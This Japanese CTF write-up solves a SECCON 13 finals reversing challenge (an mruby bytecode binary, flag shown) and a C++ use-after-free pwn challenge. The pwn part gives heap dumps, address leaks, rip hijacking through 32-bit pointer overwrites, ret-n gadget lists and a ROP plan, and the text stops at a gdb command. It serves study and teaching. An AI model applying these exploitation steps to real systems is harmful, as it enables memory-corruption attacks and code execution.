以下の内容はhttps://iwashi-ra.hatenablog.com/entry/2025/03/04/221721より取得しました。


SECCON CTF 13 Domestic Finals Writeup

はじめに

今年もSECCON CTFのDomestic FinalsにTSGで参加していました。結果は3位でした!ReversingとPwnを1問ずつ解いたので、そのWriteupです。

競技開始

TSGでは、競技時間中はKotHに集中して、夜にJeopardyを解くという方針で参加していました。競技開始時、僕とcaphosraさんで協力してpwn, reversing分野のKotHに取り掛かったのですが、開始30分も経たないうちに、僕はできることがなさそうということで、バイナリ内でsleepしている部分をnopで潰すことだけやった後に、Jeopardyにシフトしました。最適化や高速化などは全く素人で、パソコンの地力が弱いと厳しいなという印象でした。

simple reversing (Reversing)

mrubyで、rubyのコードをELFに落とし込んで実行するバイナリの解析問題でした。rubyのプログラムがmrbというバイトコードに直されて、VM内で実行されるという形のようです。

symbolがstripされていたので、テストプログラムをmrubyでbuildしたバイナリと比較しながら、各関数名を特定していました。特徴的な文字列や、関数間のリファレンスから地道に特定していたので、1時間くらいかかってしまいました。後から考えれば、埋め込まれているmrbファイルはもっと早い段階で見つけたので、guessでそれだけ解析していれば良かったかもしれません。

undefined8 main(void)

{
  undefined4 uVar1;
  char *pcVar2;
  long lVar3;
  undefined8 uVar4;
  long in_FS_OFFSET;
  char acStack_128 [264];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Input flag:");
  pcVar2 = fgets(acStack_128,0x100,stdin);
  if (pcVar2 != (char *)0x0) {
    lVar3 = mrb_open();
    if (lVar3 != 0) {
      uVar4 = mrb_str_new_cstr(lVar3,acStack_128);
      uVar1 = mrb_intern(lVar3,"$input",6);
      mrb_gv_set(lVar3,uVar1,uVar4);
      mrb_load_irep(lVar3,"RITE0300");
      mrb_close(lVar3);
      if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
        return 0;
      }
      goto LAB_00124933;
    }
  }
  err();
LAB_00124933:
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

Flagの判定のコアの処理などは、全部埋め込まれたmrbファイルの中にあるようでした。mrbファイルのディスアセンブラを探したけれどもなかなか見つからなかったので、mrubyのopecode.mdにあった表を使って、githubに落ちていた正常に動かないmrb_parserを修正してなんとかしようとしました。しかし、どうにもならないので、もう一度mrubyを見に行ったところ、mruby -vで実質ディスアセンブルができることが分かりました。issueではディスアセンブラはないという議論があったので、見落としていました。

mruby 3.3.0 (2024-02-14)
irep 0x55687d61cee0 nregs=10 nlocals=4 pools=2 syms=6 reps=9 ilen=94
local variable names:
  R1:size_check
  R2:split
  R3:checker
      000 LAMBDA    R1  I[0]
      003 LAMBDA    R2  I[1]
      006 LAMBDA    R4  I[2]
      009 LAMBDA    R5  I[3]
      012 LAMBDA    R6  I[4]
      015 LAMBDA    R7  I[5]
      018 LAMBDA    R8  I[6]
      021 LAMBDA    R9  I[7]
      024 ARRAY     R3  R4  6   ; R3:checker
      028 MOVE      R4  R1      ; R1:size_check
      031 GETGV     R5  $input
      034 SEND      R4  :call   n=1
      038 JMPNOT    R4  070
      042 MOVE      R4  R2      ; R2:split
      045 GETGV     R5  $input
      048 SEND      R4  :call   n=1
      052 MOVE      R5  R3      ; R3:checker
      055 SEND      R4  :zip    n=1
      059 BLOCK     R5  I[8]
      062 SENDB     R4  :map    n=0
      066 SEND      R4  :all?   n=0
      070 JMPNOT    R4  084
      074 STRING    R5  L[0]    ; Correct!
      077 SSEND     R4  :puts   n=1
      081 JMP       091
      084 STRING    R5  L[1]    ; Incorrect...
      087 SSEND     R4  :puts   n=1
      091 RETURN    R4
      093 STOP

ディスアセンブルすると、以上のような形の各irepが得られるので、それをChatGPTに食わせたらFlagが得られました。

SECCON{Sh3_w0uld_n3v3r_s4y_wh3r3_sh3_c4m3_fr0m}

second bloodでした。mruby -vを見つけたら一瞬だったので、見つけられるかどうかで大きく難易度が変わる問題でした。

second blood

Uint32Array (Pwn)

C++のheap(と思ってやり始めた)問題です。後から、他に解いた人に聞くとheap問というよりはガジェット問という印象を持っている人が大半でした。

#include <iostream>
#include <cstdint>

class Uint32Array {
public:
  Uint32Array() : _size(0), _buffer(nullptr) {}
  Uint32Array(size_t size) : _size(size), _buffer(new uint32_t[size]()) {}
  ~Uint32Array() { delete[] _buffer; }

  void clear() {
    for (ssize_t i = 0; i < _size; i++)
      _buffer[i] = 0;
  }

  uint32_t& at(size_t index) {
    if (index >= _size)
      throw std::out_of_range("out-of-bounds access");
    return _buffer[index];
  }

private:
  size_t _size;
  uint32_t *_buffer;
};

void AskArray(Uint32Array& arr) {
  size_t size = 0;
  do {
    std::cout << "size = ";
    std::cin >> size;
  } while (size > 100);

  arr = Uint32Array(size);
  arr.clear();
}

void AskIndex(size_t& index) {
  std::cout << "index = ";
  std::cin >> index;
}

void AskValue(uint32_t& value) {
  std::cout << "value = ";
  std::cin >> value;
}

int main() {
  Uint32Array arr;
  uint32_t value;
  size_t index;
  std::cin.rdbuf()->pubsetbuf(nullptr, 0);
  std::cout.rdbuf()->pubsetbuf(nullptr, 0);

  AskArray(arr);

  std::cout << "1. set" << std::endl
            << "2. get" << std::endl;
  while (std::cin.good()) {
    int choice;
    std::cout << "> ";
    std::cin >> choice;

    if (choice == 1) {
      AskIndex(index);
      AskValue(value);
      try {
        arr.at(index) = value;
      } catch(const std::out_of_range& e) {
        std::cout << "[ERR] " << e.what() << std::endl
                  << "[ERR] Would you like to enter recovery mode? [y=1/N=0]: ";
        std::cin >> choice;
        if (choice == 1) {
          std::cout << "[ERR] Entering recovery mode: Try again." << std::endl;
          AskIndex(index);
          AskValue(value);
          arr.at(index) = value;
        }
      }

    } else if (choice == 2) {
      AskIndex(index);
      std::cout << "arr[" << index << "] = " << arr.at(index) << std::endl;

    } else {
      std::cout << "Bye!" << std::endl;
      break;
    }
  }

  return 0;
}

脆弱性は、AskArray関数でarr変数にUint32Arrayを確保しますが、AskArray終了時にデストラクトされるので、mainでのarrに対するread writeがUAFを起こしている部分です。main関数には、mallocされるような部分がないように見えますが、arr.at()で範囲外参照を起こしたときに、std::out_of_rangeが確保される際にheapに取られます。そのため、AskArrayでarrを確保する際に、std::out_of_rangeと同じサイズのチャンクを使用すると、arrとstd::out_of_rangeの構造体が重なります。

Address leak

arrとstd::out_of_rangeを一度重ねることができれば、choice 2でarrから読み出す際に、std::out_of_rangeのデストラクト後にメモリに残ったデータを読み出すことができます。

0x55c147cd82c0| 0x0000000000000000 0x00000000000000a1 | ................ |
0x55c147cd82d0| 0x0000000000000000 0x42d16eecca92529f | .........R...n.B |  <-  tcache[idx=8,sz=0xa0][1/2]
0x55c147cd82e0| 0x000055c146e51cc8 0x00007f39743d8100 | ...F.U....=t9... |
0x55c147cd82f0| 0x00007f39743aba40 0x00007f39743c3360 | @.:t9...`3<t9... |
0x55c147cd8300| 0x0000000000000000 0x0000000100000001 | ................ |
0x55c147cd8310| 0x000055c146e5034c 0x000055c146e5031c | L..F.U.....F.U.. |
0x55c147cd8320| 0x000055c146e4f3b4 0x000055c147cd8350 | ...F.U..P..G.U.. |
0x55c147cd8330| 0x474e5543432b2b00 0x00007f39743c1290 | .++CCUNG..<t9... |
0x55c147cd8340| 0x0000000000000000 0x00007ffd8c08b7c0 | ................ |
0x55c147cd8350| 0x00007f3974574f28 0x000055c147cd8388 | (OWt9......G.U.. |
0x55c147cd8360| 0x0000000000000000 0x0000000000000041 | ........A....... |
0x55c147cd8370| 0x000000055c147cd8 0x42d16eecca92529f | .|.\.....R...n.B |  <-  tcache[idx=2,sz=0x40][1/1]
0x55c147cd8380| 0x00000000ffffffff 0x622d666f2d74756f | ........out-of-b |
0x55c147cd8390| 0x63612073646e756f 0x0000000073736563 | ounds access.... |
0x55c147cd83a0| 0x0000000000000000 0x000000000000cc61 | ........a....... |  <-  top
0x55c147cd83b0| 0x0000000000000000 0x0000000000000000 | ................ |

上にある、0xa0のチャンクが、arrと重なるstd::out_of_rangeの構造体の確保後です。その下の0x40のチャンクはerrorメッセージを表示するstd::string構造体です。std::out_of_rangeからは、heap, libc, stackの全てのアドレスを得ることができます。

ripを取る

Address leak以外にも、1ループにつき1回std::out_of_range構造体を書き換えできます。書き換えられるのは、Uint32という名前の通り、32bitです。そのため、構造体のポインタの下32bitを書き換えて攻撃に繋げる必要があります。

gef> tele -n -a  0x55c147cd82d0
      0x55c147cd82e0|+0x0010|+002: 0x000055c146e51cc8 <typeinfo for std::out_of_range@GLIBCXX_3.4>  ->  0x00007f3974574be8 <vtable for __cxxabiv1::__si_class_type_info+0x10>  ->  0x00007f39743c2000 <__cxxabiv1::__si_class_type_info::~__si_class_type_info()>  ->  ...
      0x55c147cd82e8|+0x0018|+003: 0x00007f39743d8100 <std::out_of_range::~out_of_range()>  ->  0xfd058b48fa1e0ff3
      0x55c147cd82f0|+0x0020|+004: 0x00007f39743aba40 <std::terminate()>  ->  0xe5894855fa1e0ff3
      0x55c147cd82f8|+0x0028|+005: 0x00007f39743c3360 <__gnu_cxx::__verbose_terminate_handler()>  ->  0xe5894855fa1e0ff3
      0x55c147cd8310|+0x0040|+008: 0x000055c146e5034c  ->  0x00001cc000007d01
      0x55c147cd8318|+0x0048|+009: 0x000055c146e5031c  ->  0xda05192901359bff
      0x55c147cd8320|+0x0050|+010: 0x000055c146e4f3b4 <main[cold]+0x74>  ->  0x48c78948fa1e0ff3
      0x55c147cd8328|+0x0058|+011: 0x000055c147cd8350  ->  0x00007f3974574f28 <vtable for std::logic_error+0x10>  ->  0x00007f39743d7f40 <std::logic_error::~logic_error()>  ->  ...
      0x55c147cd8338|+0x0068|+013: 0x00007f39743c1290  ->  0xe5894855fa1e0ff3
      0x55c147cd8348|+0x0078|+015: 0x00007ffd8c08b7c0  ->  0x000055c147cd82d0  ->  0x0000000000000000
      0x55c147cd8350|+0x0080|+016: 0x00007f3974574f28 <vtable for std::logic_error+0x10>  ->  0x00007f39743d7f40 <std::logic_error::~logic_error()>  ->  0xe5894855fa1e0ff3
      0x55c147cd8358|+0x0088|+017: 0x000055c147cd8388  ->  0x622d666f2d74756f 'out-of-bounds access'

std::out_of_rangeは、what()を実行した後にデストラクトされるだけなので、全ての機能を使うわけではありません。直接RIPを制御できるのは、0x18にあるstd::out_of_range::~out_of_range()と0x68にあるlibcのアドレスで、Uint32Arrayのindexになおすと、それぞれ6番と26番です。

このエントリの下32bitを書き換えることで、ripをハイジャックできます。例えば、6番の下32bitを0xffffffffで書き換えると、SIGSEGVの時にこのようなレジスタの状態になります。

Program received signal SIGSEGV, Segmentation fault.
0x00007f3bffffffff in ?? ()
[ Legend: Modified register | Code | Heap | Stack | Writable | ReadOnly | None | RWX | String ]
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- registers ----
$rax   : 0x00007f3bffffffff
$rbx   : 0x000055aaf4644350  ->  0x00007f3b5df3dfc8 <vtable for std::out_of_range+0x10>  ->  0x00007f3b5dda1100 <std::out_of_range::~out_of_range()>  ->  0xfd058b48fa1e0ff3
$rcx   : 0x000055aaf46442d0  ->  0x0000000000000000
$rdx   : 0x0000000000000000
$rsp   : 0x00007ffc55f66068  ->  0x00007f3b5dd8a2bb  ->  0xc9f85d8b48df8948
$rbp   : 0x00007ffc55f66080  ->  0x00007ffc55f660c4  ->  0x0000000600000001
$rsi   : 0x000055aaf4644330  ->  0x474e5543432b2b00
$rdi   : 0x000055aaf4644350  ->  0x00007f3b5df3dfc8 <vtable for std::out_of_range+0x10>  ->  0x00007f3b5dda1100 <std::out_of_range::~out_of_range()>  ->  0xfd058b48fa1e0ff3
$rip   : 0x00007f3bffffffff
$r8    : 0x00007f3b5df48e00  ->  0x00007f3b5df41a08 <vtable for __gnu_cxx::stdio_sync_filebuf<char, std::char_traits<char> >+0x10>  ->  0x00007f3b5ddf70c0 <__gnu_cxx::stdio_sync_filebuf<char, std::char_traits<char> >::~stdio_sync_filebuf()>  ->  0x9d058b48fa1e0ff3
$r9    : 0x00000000ffffffff
$r10   : 0x0000000000000000
$r11   : 0x000000000000000a
$r12   : 0x000055aaf3574040 <std::cout@GLIBCXX_3.4>  ->  0x00007f3b5df43310 <vtable for std::ostream+0x18>  ->  0x00007f3b5de24670 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  0x6d058b48fa1e0ff3
$r13   : 0x00007ffc55f660c8  ->  0x0000000000000006
$r14   : 0x000055aaf357202c  ->  0x6f2d74756f00203e ('> '?)
$r15   : 0x000055aaf357200c  ->  0x203d207865646e69 'index = '
$eflags: 0x10206 [ident align vx86 RESUME nested overflow direction INTERRUPT trap sign zero adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp  0x7ffc55f66068|+0x0000|+000: 0x00007f3b5dd8a2bb  ->  0xc9f85d8b48df8948  <-  retaddr[1]
      0x7ffc55f66070|+0x0008|+001: 0x00007ffc55f66080  ->  0x00007ffc55f660c4  ->  0x0000000600000001  <-  $rbp
      0x7ffc55f66078|+0x0010|+002: 0x000055aaf3574160 <std::cin@GLIBCXX_3.4>  ->  0x00007f3b5df42870 <vtable for std::istream+0x18>  ->  0x00007f3b5de05690 <std::basic_istream<char, std::char_traits<char> >::~basic_istream()>  ->  ...
$rbp  0x7ffc55f66080|+0x0018|+003: 0x00007ffc55f660c4  ->  0x0000000600000001
      0x7ffc55f66088|+0x0020|+004: 0x000055aaf35714f8 <main[cold]+0x1b8>  ->  0x1e0ff3000000d6e9  <-  retaddr[2]
      0x7ffc55f66090|+0x0028|+005: 0x000055aaf46442d0  ->  0x0000000000000000  <-  $rcx
      0x7ffc55f66098|+0x0030|+006: 0x0000000000000026
      0x7ffc55f660a0|+0x0038|+007: 0x00007ffc55f660c0  ->  0x00000001ffffffff
---------------------------------------------------------------------------------------------------------------------------------------------------------- code: x86:64 (gdb-native) ----
[!] Cannot access memory at address 0x7f3bffffffff
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- threads ----
[*Thread Id:1, tid:425909] Name: "chall", stopped at 0x7f3bffffffff <NO_SYMBOL>, reason: SIGSEGV
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ trace ----
[*#0] 0x7f3bffffffff <NO_SYMBOL>
[ #1] 0x7f3b5dd8a2bb <NO_SYMBOL>
[ #2] 0x55aaf35714f8 <main[cold]+0x1b8>
[ #3] 0x7f3b5dab91ca <NO_SYMBOL>
[ #4] 0x7f3b5dab928b <__libc_start_main+0x8b>
[ #5] 0x55aaf3571835 <_start+0x25>

また、26番を書き換えると以下のようになります。

Program received signal SIGSEGV, Segmentation fault.
0x00007f71ffffffff in ?? ()
[ Legend: Modified register | Code | Heap | Stack | Writable | ReadOnly | None | RWX | String ]
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- registers ----
$rax   : 0x00007f71ffffffff
$rbx   : 0x000055d45310d160 <std::cin@GLIBCXX_3.4>  ->  0x00007f7162618870 <vtable for std::istream+0x18>  ->  0x00007f71624db690 <std::basic_istream<char, std::char_traits<char> >::~basic_istream()>  ->  0x0d058b48fa1e0ff3
$rcx   : 0x000055d45443a2d0  ->  0x0000000000000001
$rdx   : 0x0000000000000000
$rsp   : 0x00007fffa7fb3008  ->  0x000055d45310a4f8 <main[cold]+0x1b8>  ->  0x1e0ff3000000d6e9
$rbp   : 0x00007fffa7fb3044  ->  0x0000001a00000001
$rsi   : 0x000055d45443a330  ->  0x474e5543432b2b00
$rdi   : 0x0000000000000001
$rip   : 0x00007f71ffffffff
$r8    : 0x00007f716261ee00  ->  0x00007f7162617a08 <vtable for __gnu_cxx::stdio_sync_filebuf<char, std::char_traits<char> >+0x10>  ->  0x00007f71624cd0c0 <__gnu_cxx::stdio_sync_filebuf<char, std::char_traits<char> >::~stdio_sync_filebuf()>  ->  0x9d058b48fa1e0ff3
$r9    : 0x00000000ffffffff
$r10   : 0x0000000000000000
$r11   : 0x000000000000000a
$r12   : 0x000055d45310d040 <std::cout@GLIBCXX_3.4>  ->  0x00007f7162619310 <vtable for std::ostream+0x18>  ->  0x00007f71624fa670 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  0x6d058b48fa1e0ff3
$r13   : 0x00007fffa7fb3048  ->  0x000000000000001a
$r14   : 0x000055d45310b02c  ->  0x6f2d74756f00203e ('> '?)
$r15   : 0x000055d45310b00c  ->  0x203d207865646e69 'index = '
$eflags: 0x10206 [ident align vx86 RESUME nested overflow direction INTERRUPT trap sign zero adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp  0x7fffa7fb3008|+0x0000|+000: 0x000055d45310a4f8 <main[cold]+0x1b8>  ->  0x1e0ff3000000d6e9  <-  retaddr[1]
      0x7fffa7fb3010|+0x0008|+001: 0x000055d45443a2d0  ->  0x0000000000000001  <-  $rcx
      0x7fffa7fb3018|+0x0010|+002: 0x0000000000000026
      0x7fffa7fb3020|+0x0018|+003: 0x00007fffa7fb3040  ->  0x00000001ffffffff
      0x7fffa7fb3028|+0x0020|+004: 0x000055d45443a350  ->  0x00007f7162613fc8 <vtable for std::out_of_range+0x10>  ->  0x00007f7162477100 <std::out_of_range::~out_of_range()>  ->  ...
      0x7fffa7fb3030|+0x0028|+005: 0x000055d45310d040 <std::cout@GLIBCXX_3.4>  ->  0x00007f7162619310 <vtable for std::ostream+0x18>  ->  0x00007f71624fa670 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  ...  <-  $r12
      0x7fffa7fb3038|+0x0030|+006: 0x00007f7162611398  ->  0x00007f716245caa0  ->  0x18153d80fa1e0ff3
      0x7fffa7fb3040|+0x0038|+007: 0x00000001ffffffff
---------------------------------------------------------------------------------------------------------------------------------------------------------- code: x86:64 (gdb-native) ----
[!] Cannot access memory at address 0x7f71ffffffff
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- threads ----
[*Thread Id:1, tid:425445] Name: "chall", stopped at 0x7f71ffffffff <NO_SYMBOL>, reason: SIGSEGV
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ trace ----
[*#0] 0x7f71ffffffff <NO_SYMBOL>
[ #1] 0x55d45310a4f8 <main[cold]+0x1b8>
[ #2] 0x7f716218f1ca <NO_SYMBOL>
[ #3] 0x7f716218f28b <__libc_start_main+0x8b>
[ #4] 0x55d45310a835 <_start+0x25>

one_gadgetの検討

最初に考えたことは、one_gadgetで使えそうなものがないかどうかです。

0x583dc posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x583e3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

上の出力は、one_gadgetが比較的制約が少ないものとして表示してくれたもので、実際にはより制約が厳しいものも全て検討しましたが、直接使えそうなものはありませんでした。まず、posix_spawnでは、rsp & 0xf == 0の条件が今回の場合厳しいです。そのほかの場合でも、stack上のrbpの近くでNULLな領域が少ないことや、レジスタがNULLクリアされているものがほとんどないことで、厳しいです。

JOPとかCOPとかで辻褄を合わせることも考えましたが、いいガジェットが見つかりませんでした。しかし、想定解は聞くところによると、COPだったみたいです。ガジェット見つけ力を鍛えたい。

ポインタ書き換えのチェインの検討

次に考えたことは、26番と6番という二つの書き換え対象があるので、片方を書き換えてガジェットを実行した際に、条件を整えながらもう片方を書き換えて更にガジェットを実行する方針です。つまり、26番と6番のポインタ書き換えをチェインさせることで1回でうまくできないか、ということです。

上の方針は、そもそも26番のポインタの実行した関数の中で、6番が呼ばれているので不可能でした。26番を書き換えてしまうと、6番は呼ばれません。

また、仮にチェインしたとした場合でも、どちらのレジスタもチャンクの上の方を指すレジスタがないので、もう片方のポインタの書き換えに持っていくのは難しいです。

複数回ガジェットを実行してどうにかならないか検討

1回きりの書き換えとはいえ、それを複数回実行できれば大きな書き換えができます。std::out_of_rangeがfreeされてくれる限りは、何回でもarrとstd::out_of_rangeを書き換えられるはずです。

何回か試した結果、どうやら6番をretするだけのガジェットのアドレスに書き換えると、何回でもガジェットが実行できることが発覚しました。ret先としてvalidなアドレスが残っている状態のstackであれば、何かガジェットを実行できます。pop rdi; ret;などは、stackのリターンアドレスをずらしてしまうので、実行できません。

また、一度freeしてから再度確保したstd::out_of_rangeに対して書き換えを行うので、構造体に対する書き換え自体は元に戻ってしまいます。

そのため、これだけだとやれることが少なくて厳しそうです。

getsの検討

チャンクを更に書き換えるという発想から、6番のポインタをgets関数に書き換える方法も考えました。6番のポインタをcallする時、rdiは構造体内のvtableのポインタのアドレス、つまりheapのアドレスを指しています。構造体の上の方ではないので、構造体自身を書き換えることは難しいですが、heap BOFに繋げることはできます。

しかしながら、単純な書き換えではうまくいきませんでした。これは、バッファ内の改行が入っていてクリアされていないために、入力ができないのが原因で、他のチームは改行を与えずにgetsを実行することで、BOFに繋げているチームもありました。改行が悪さをしているっぽいことは少し予想はできていたので、sendafterで上手く行かないか試すべきでした。choiceの入力時に改行絶対必要だ、と思ってしまったんですよね。

arrのアドレスを書き換えできないか検討

以上の試行錯誤でうまくいかなくて悩んでおり、arrを書き換えるしかないんじゃないかと思い始めました。通常ローカル変数はrbpを起点にプラスマイナスしてアクセスするので、rbpを無理やりずらしたり、mov qwordのガジェットで書き換えたりできるのでは?ということです。勿論副作用はあるので、別で帳尻を合わせる必要があります。

"recovery mode"として書き換えを行っている機械語コードの部分は以下のとおりです。

    1786:    48 8b 4c 24 40        mov    rcx,QWORD PTR [rsp+0x40]
    178b:   48 8b 44 24 38          mov    rax,QWORD PTR [rsp+0x38]
    1790:   8b 54 24 30             mov    edx,DWORD PTR [rsp+0x30]
    1794:   48 89 4c 24 08          mov    QWORD PTR [rsp+0x8],rcx
    1799:   48 39 c8                cmp    rax,rcx
    179c:   0f 83 9e fb ff ff       jae    1340 <main.cold>
    17a2:   48 8b 0c 24             mov    rcx,QWORD PTR [rsp]
    17a6:   89 14 81                mov    DWORD PTR [rcx+rax*4],edx
    17a9:   e9 25 fe ff ff          jmp    15d3 <main+0xb3>

rsp+0x40に入っているのが、_sizeで、rsp+0x38は入力したindex、rsp+0x30のdwordは入力する予定のvalueです。indexが_sizeを超えていなければ、QWORD PTR [rsp]でarrのアドレスを読み出して、そこにmov DWORD PTR [rcx+rax*4],edxvalueを格納しています。

驚くべきことに、rspを使ってarrにアクセスしています!これは、手元で普通にbuildするだけでは起きなくて、g++で-Oをつけると再現したので、最適化の影響だと考えられます。

つまり、ガジェットでrspをずらすことができれば、arrとして扱われることになるアドレスをstack上の別のアドレスに変えることができます。

ret nガジェットを使用する

rspをずらすことは大きな副作用を伴います。折角arrを書き換えるので、arrに対するread write操作は正常にできて欲しいです。例えば、add rsp, 0x8; ret;などは、rspをずらすことはできますが、retする際のreturn addressも変わってしまっており、元いる場所にreturnできません。更に、正常な元のルーチンに戻るためには最後にretする必要があり、ガジェットの最後はretである必要があります。

そこで、活躍するのがret nガジェットです。ret nとは、例えばret 0x28のようなガジェットです。これはどのように動作するかというと、普通のretのように、stackのtopに積まれているreturn addressにリターンした後に、rspを+nしてくれるガジェットです。Linuxx86_64のgccの呼び出し規約では、retする前にleaveなどでサブルーチン内でローカル変数のバッファをpopするわけですが、ret nはサブルーチンからreturnした後に、呼び出し元のルーチンでローカル変数のバッファを処理する目的の命令です。

libcにはこれらのret nガジェットが結構あり、nが8の倍数(0x.*[8|0])であれば、stackのアラインメントを壊さずにrspをずらすことができます。

個人的には、ret nガジェットに可能性を感じて、TSG CTF 2024にpiercing_misty_mountainという問題を出したくらいなので、結構自然な選択肢でした。piercing_misty_mountainでは非想定解で解いた人しかおらず、ret nを使ってくれる人は誰もいませんでしたが、今回はこのガジェットがぴったりです!!!

(追記) ret nガジェットは今回の場合、26番の書き換えでないと上手くいきませんでした。6番だと、ret後の戻り先のleave命令で、rspが更新されてバグらなくなってしまいます。そのため(おそらく)上で検討した方法での複数回のガジェットの実行は、構造体の書き換え後はうまくいかないと思います。

arrとするアドレスの選定

ret nする際のstackの状態は以下の通りです。

0x7ffebe64c468:    f8 24 d6 5f d2 55 00 00  d0 32 8f 60 d2 55 00 00    |  .$._.U...2.`.U..  |
0x7ffebe64c478:    26 00 00 00 00 00 00 00  a0 c4 64 be fe 7f 00 00    |  &.........d.....  |
0x7ffebe64c488:    50 33 8f 60 d2 55 00 00  40 50 d6 5f d2 55 00 00    |  P3.`.U..@P._.U..  |
0x7ffebe64c498:    98 53 7b 07 bb 7f 00 00  be 4c 3c 07 01 00 00 00    |  .S{......L<.....  |
0x7ffebe64c4a8:    1a 00 00 00 00 00 00 00  26 00 00 00 00 00 00 00    |  ........&.......  |
0x7ffebe64c4b8:    d0 32 8f 60 d2 55 00 00  67 6c 69 62 63 78 78 2e    |  .2.`.U..glibcxx.  |
0x7ffebe64c4c8:    00 5c c4 c7 fa e5 aa 3c  67 6c 69 62 63 78 78 2e    |  .\.....<glibcxx.  |
0x7ffebe64c4d8:    28 c6 64 be fe 7f 00 00  a0 c5 64 be fe 7f 00 00    |  (.d.......d.....  |
0x7ffebe64c4e8:    01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00    |  ................  |
0x7ffebe64c4f8:    c0 4c d6 5f d2 55 00 00  00 30 80 07 bb 7f 00 00    |  .L._.U...0......  |
0x7ffebe64c508:    ca 31 33 07 bb 7f 00 00  08 00 00 00 00 00 00 00    |  .13.............  |
0x7ffebe64c518:    28 c6 64 be fe 7f 00 00  a8 df 50 07 01 00 00 00    |  (.d.......P.....  |
0x7ffebe64c528:    20 25 d6 5f d2 55 00 00  28 c6 64 be fe 7f 00 00    |   %._.U..(.d.....  |
0x7ffebe64c538:    de f3 47 c0 90 a0 54 c3  01 00 00 00 00 00 00 00    |  ..G...T.........  |
0x7ffebe64c548:    00 00 00 00 00 00 00 00  c0 4c d6 5f d2 55 00 00    |  .........L._.U..  |
0x7ffebe64c558:    00 30 80 07 bb 7f 00 00  de f3 27 c1 90 a0 54 c3    |  .0........'...T.  |

0x7ffebe64c468にはreturn addressが、続く0x7ffebe64c470にarrのアドレスが入っています。

移動先としては、libcやstackのアドレスにしたいところです。また、rsp+0x40にある値はローカル変数_sizeとして扱われるので、大きな値が入っていないと、arrに対するread writeで指定できるindexが小さくなってしまいます。

更に、libcは非常に大きなバイナリであるとはいえ、ret nのバリエーションが網羅されているわけではありません。

ropr -R "^ret 0x.[0|8];$" ./libc.so.6
0x0003f49b: ret 0x18;
0x00062527: ret 0xf0;
0x000dbaea: ret 0xf8;
0x00114f65: ret 0x10;
0x0011905a: ret 0x20;
0x0011f1ba: ret 0xb8;
0x00139368: ret 0x90;

ropr -R "^ret 0x..[0|8];$" ./libc.so.6
0x0004b2d3: ret 0x8b8;
0x0005a9b2: ret 0x8e8;
0x00063741: ret 0xf50;
0x00071997: ret 0x3e8;
0x000a4527: ret 0xa00;
0x000a9139: ret 0x588;
0x000abd21: ret 0x110;
0x000bae0f: ret 0xfc0;
0x000de157: ret 0xe10;
0x000de52d: ret 0xbb8;
0x0010e0dc: ret 0xf28;
0x0010eff9: ret 0x9b8;
0x0010f039: ret 0xcb8;
0x0010f968: ret 0xf80;
0x00116714: ret 0x3b8;
0x0011a79f: ret 0xbe8;
0x001248a3: ret 0x120;
0x00124983: ret 0x128;
0x001459c2: ret 0x200;
0x00149328: ret 0x348;
0x00152510: ret 0xf20;
0x0015ac86: ret 0xf08;
0x0016084a: ret 0xb08;
0x0016a1ac: ret 0xee8;
0x0016f837: ret 0x2b8;
0x001768c2: ret 0x9b0;
0x00177cf5: ret 0x1b8;
0x00183be2: ret 0x148;
0x0019d3d5: ret 0xfe0;
0x001a02a5: ret 0xff8;
0x001a804d: ret 0xf40;
0x001a9972: ret 0xf10;
0x001ace3b: ret 0x948;
0x001ad4fb: ret 0x240;
0x001ae7f3: ret 0xf48;

以上のガジェットでずらせるアドレスのみが有効な対象になります。

さらに、今回はmainのreturnからROPを発火させる方針でexploitしましたが、その場合、stackのアラインメントのために、^ret 0x.*0;$ガジェットしか使えません。なぜならば、mainの終了時にarrが自動でdestructされ、arrとして扱っているアドレスに対してfreeが実行されるためです。(実際には、後述する解決策を考えると帳尻合わせをすることは可能でした。)

今回は、ret 0x10ずらしたところにある、stackのアドレスをarrとして読み書きすることにしました。このアドレスの選定及びexploit可能性の推定もそこそこ時間をかけています。

ROP

stackのアドレスをarrとして扱うことができたので、arrに対するread writeはstackへのread writeになります。_sizeが大きな値になっているおかげで、indexの値も比較的自由な値を取ることができます。また、_sizeそのものもstack上に値があるので、arrに対するread writeで書き換えが可能です。2回に分けて0xffffffffを書き込むことで、_sizeUINT MAXULONG MAXに書き換えました。(会場ではUINT MAXと発言していましたが、最終的な_sizeはULONG MAXになります)

gef> xxd -n byte $rsp
